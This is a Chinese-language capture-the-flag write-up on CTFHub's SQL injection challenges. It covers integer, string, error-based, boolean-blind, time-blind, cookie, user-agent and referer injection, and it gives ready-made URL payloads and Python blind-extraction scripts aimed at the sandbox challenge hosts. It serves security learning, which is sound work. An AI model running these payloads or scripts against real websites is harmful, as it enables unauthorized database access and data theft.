Web題下的SQL注入
1,整數型注入


使用burpsuite,?id=1%20and%201=1

id=1的數據依舊出現,證明存在整數型注入
常規做法,查看字段數,回顯位置
?id=1%20order%20by%202
字段數為2

?id=1%20and%201=2%20union%20select%201,2

1,2位置都回顯,查表名
?id=1%20and%201=2%20union%20select%20group_concat(table_name),2%20from%20information_schema.tables%20where%20table_schema=database()

看到有兩個表,繼續查flag字段里面的內容
?id=1%20and%201=2%20union%20select%20group_concat(column_name),2%20from%20information_schema.columns%20where%20table_name=%27flag%27
flag表里面存在flag字段

?id=1%20and%201=2%20union%20select%20group_concat(flag),2%20from%20flag
獲取flag

2,字符型注入


輸入1之后可以看到顯示的SQL語句,並且我們的輸入是經過單引號包裹的
?id=1' and 1=1--+

可以看到成功閉合了單引號,接下來的注入跟之前差不多
最后的payload為
?id=1' and 1=2 union select group_concat(flag),2 from flag--+

獲得flag,字符型注入跟數字型注入的區別就在於引號的閉合
3,報錯注入

報錯注入是我們通過反饋出來的錯誤來獲取到我們所需要的信息
這里我們使用updataxml函數進行報錯注入
UPDATEXML (XML_document, XPath_string, new_value); 第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc 第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。 第三個參數:new_value,String格式,替換查找到的符合條件的數據 作用:改變文檔中符合條件的節點的值
舉一個payload:
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
updatexml的報錯原因很簡單,updatexml第二個參數需要的是Xpath格式的字符串,但是我們第二個參數很明顯不是,而是我們想要獲得的數據,所以會報錯,並且在報錯的時候會將其內容顯示出來,從而獲得我們想要的數據
?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

我們接着注入即可,查詢flag的payload為:
?id=1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));
因為前面兩道題都是flag字段,所以這次我直接猜了

但是xpath報錯只顯示32位結果,很明顯顯示的flag不完全,我們需要借助mid函數來進行字符截取從而顯示32位以后的數據。
?id=1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1));

獲得剩下的數據,拿到flag
4,布爾盲注

布爾盲注,只顯示你當前的條件是否正確或者錯誤,例如我們判斷字段數 order by 2返回正確,order by 3返回錯誤


面對布爾盲注,我們想要獲取自己想知道的信息時,需要判斷信息的每一位的ASCII碼,對於返回的信息是否正確,直接觀察頁面的返回正常與否即可,雖然可以手動判斷,但是花費時間過長,但是我使用常規的盲注腳本發現沒有出現正常結果。
重新測試一下


可以看到and 1=1和and 1=2返回的都是success,所以我們使用if(expr1,expr2,expr3)函數來盲注
判斷語句,當第一條語句是正確就執行第二條語句,不正確就執行第三條語句
我們構造:
if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))
求數據庫的每一位字母,編寫數據庫爆破腳本
import requests
url='http://challenge-e707c9087d8e56e2.sandbox.ctfhub.com:10080/?id='
for i in range(0,4):
name=''
for j in range(0,10):
for k in '0123456789zaqwsxedcrfvtgbyhnujmikolp_':
test_url=url+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))'%(i,j,k)
rep=requests.get(test_url)
if 'query_success' in rep.text:
name=name+k
break
print name

盲注出表
import requests
url='http://challenge-e707c9087d8e56e2.sandbox.ctfhub.com:10080/?id='
for i in range(0,4):
name=''
for j in range(0,10):
for k in '0123456789zaqwsxedcrfvtgbyhnujmikolp_':
test_url=url+"if(substr((select column_name from information_schema.columns where table_name='flag' limit %d,1),%d,1)='%s',1,(select table_name from information_schema.tables))"%(i,j,k)
rep=requests.get(test_url)
if 'query_success' in rep.text:
name=name+k
break
print name

出字段
import requests
url='http://challenge-57cc506cf0ef8c4b.sandbox.ctfhub.com:10080/?id='
name=''
for j in range(1,50):
for i in range(48,126):
test_url=url+"if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))"%(j,i)
rep=requests.get(test_url)
if 'query_success' in rep.text:
name=name+chr(i)
print name
break

獲得flag
時間盲注

在?id=1 后面添加 and sleep(10)
這個延遲時間測試是否有時間盲注的時候設長一點,因為是手動測試是否有漏洞,為了避免網絡的原因讓我們漏掉漏洞,sleep(10)之后可以看到網站有明顯的延遲,證明時間盲注存在

時間盲注會用到sleep(time)函數,還有if函數
if(1,2,3):如果1真,則執行2,否則執行3
Sleep(x):執行延遲x秒
然后我們先判斷數據庫的長度和數據庫名稱,對數據庫每一位進行ascii判斷即可,這里抄了這位師傅的代碼(罪過)https://www.lsablog.com/networksec/penetration/time-based-blind-sqli/,改成了適用於這道題的:
#coding:utf-8
#Author:LSA
#Description:Time based sqli script for sqli-labs less 6
#Data:20180108
import requests
import time
import string
import sys
headers = {"user-agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
lengthUrl = 'http://challenge-c13b65fc664e2e69.sandbox.ctfhub.com:10080/?id=1 and if(length(database())>{0},1,sleep(3))--+'
lengthUrlFormat = lengthUrl.format(l)
start_time0 = time.time()
rsp0 = requests.get(lengthUrlFormat,headers=headers)
if time.time() - start_time0 > 2.5:
print 'database length is ' + str(l)
global length
length = l
break
else:
pass
for i in range(1,length+1):
for char in chars:
charAscii = ord(char)
url = 'http://challenge-c13b65fc664e2e69.sandbox.ctfhub.com:10080/?id=1 and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
urlformat = url.format(i,charAscii)
start_time = time.time()
rsp = requests.get(urlformat,headers=headers)
if time.time() - start_time > 2.5:
database+=char
print 'database: ',database
break
else:
pass
print 'database is ' + database
得到數據庫長度是4,數據庫名稱為sqli

在原來代碼的基礎上修改為盲注表,盲注字段,盲注數據的python腳本,不過按照之前的經驗,flag是在flag這個字段里面的,所以直接編寫代碼查詢即可
# -*- coding: cp936 -*-
import requests
import time
import string
import sys
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
url="http://challenge-27e6d51e6c1a4014.sandbox.ctfhub.com:10080/?id=1"
#
#print("數據表名:",dbname)
#payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("字段名:",dbname)
#payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("數據:",dbname)
def get_database():
dbname=''
print "database:"
payload=" and if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #"
for i in range(1,40):
char=''
for x in chars:
char_ascii=ord(x)
payloads=payload.format(i,char_ascii)
start=time.time()
r=requests.get(url+payloads)
if (time.time() - start)>=4:
dbname+=x
print dbname
char=x
break
if char=='':
break
def get_table():
table_name=''
print "table"
payload=" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #"
for i in range(1,40):
char=''
for x in chars:
char_ascii=ord(x)
payloads=payload.format(i,char_ascii)
start=time.time()
r=requests.get(url+payloads)
if (time.time() - start)>=4:
table_name+=x
print table_name
char=x
break
if char=='':
break
def get_column():
column_name=''
print "column"
payload=" and if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='news' limit 1,1),{0},1))={1}),sleep(5),1) #"
for i in range(1,40):
char=''
for x in chars:
char_ascii=ord(x)
payloads=payload.format(i,char_ascii)
start=time.time()
r=requests.get(url+payloads)
if (time.time() - start)>=4:
column_name+=x
print column_name
char=x
break
if char=='':
break
def get_data():
data=''
print "data"
payload=" and if((ascii(substr((select flag from sqli.flag),{0},1))={1}),sleep(5),1)"
for i in range(1,40):
char=''
for x in chars:
char_ascii=ord(x)
payloads=payload.format(i,char_ascii)
start=time.time()
r=requests.get(url+payloads)
if (time.time() - start)>=4.5:
data+=x
print data
char=x
break
if char=='':
break
get_data()
跑個結果慢死人,感覺環境不是很穩定還是我網絡的問題,中間有的時候會出問題,腳本出的flag就會出錯,腳本沒有寫錯

比如這里的C應該是9,但是因為不知名的原因,C的時候就直接正確了,再用sqlmap跑一遍

驗證flag錯誤的地方,另外想要在盲注源代碼的基礎上修改,可以更改成二分模式,這樣效率更高
MySQL結構

手動進行簡單測試(題目寫成MYSQL結構我也不知道是啥啊)
and 1=2的時候沒有返回結果

and 1=1的時候返回正確結果,數字型注入

這次手工出flag吧,除非批量挖洞,平時少用工具,有的時候自己會養成一種惰性,而且在有狗的情況下,很多時候工具都用不了,還是需要自己手動進行參數測試fuzz,如果基礎不扎實的話很容易就懵逼了。

字段數為2
回顯位置是1,2

數據庫名為sqli

出表名:news,qsppbznbrd
出字段:nhnmftonyj

出結果拿到flag

Cookie注入

題目已經很明顯提示了我們,cookie注入,打開burpsuite進行抓包重放
抓包之后可以看到cookie里面有id參數,我們嘗試進行注入

進行簡單的嘗試可以發現還是數字型注入


由於上一道題已經寫過數字型注入了,這里就不再贅述,直接出一個結果吧

UA注入

看題目應該是user-agent注入,還是burpsuite進行抓包

跟我們想的一樣,既然這里id=后面跟的是我們的user-agent,所以本能反應將user-agent修改成數字1

可以看到返回的結果又跟上一道題類似了,按照前兩道題相同的思路做即可

拿到flag
Refer注入

可以看到這道題是refer注入,抓包

告訴我們需要在referer輸入ID,我們知道referer是告訴網站我們是從哪個網站來的,這里如果網站對訪客的來源網站地址進行了儲存且沒有過濾的話,就容易出現SQL注入漏洞,這里的SQL注入和前面兩道題的SQL注入類似,但是在實戰中比較容易遇見,因為這三個部分的儲存信息不容易被網站程序編寫者重視和發現。
因為網站沒有自動加referer,所以我們在burpsuite里面手動添加referer

同時返回包里面出現了我們想看到的數據

繼續常規數字型注入拿到flag

總體來說還是挺不錯的,但是沒有考到注入的過濾和繞過這一類知識,不過也已經很棒了
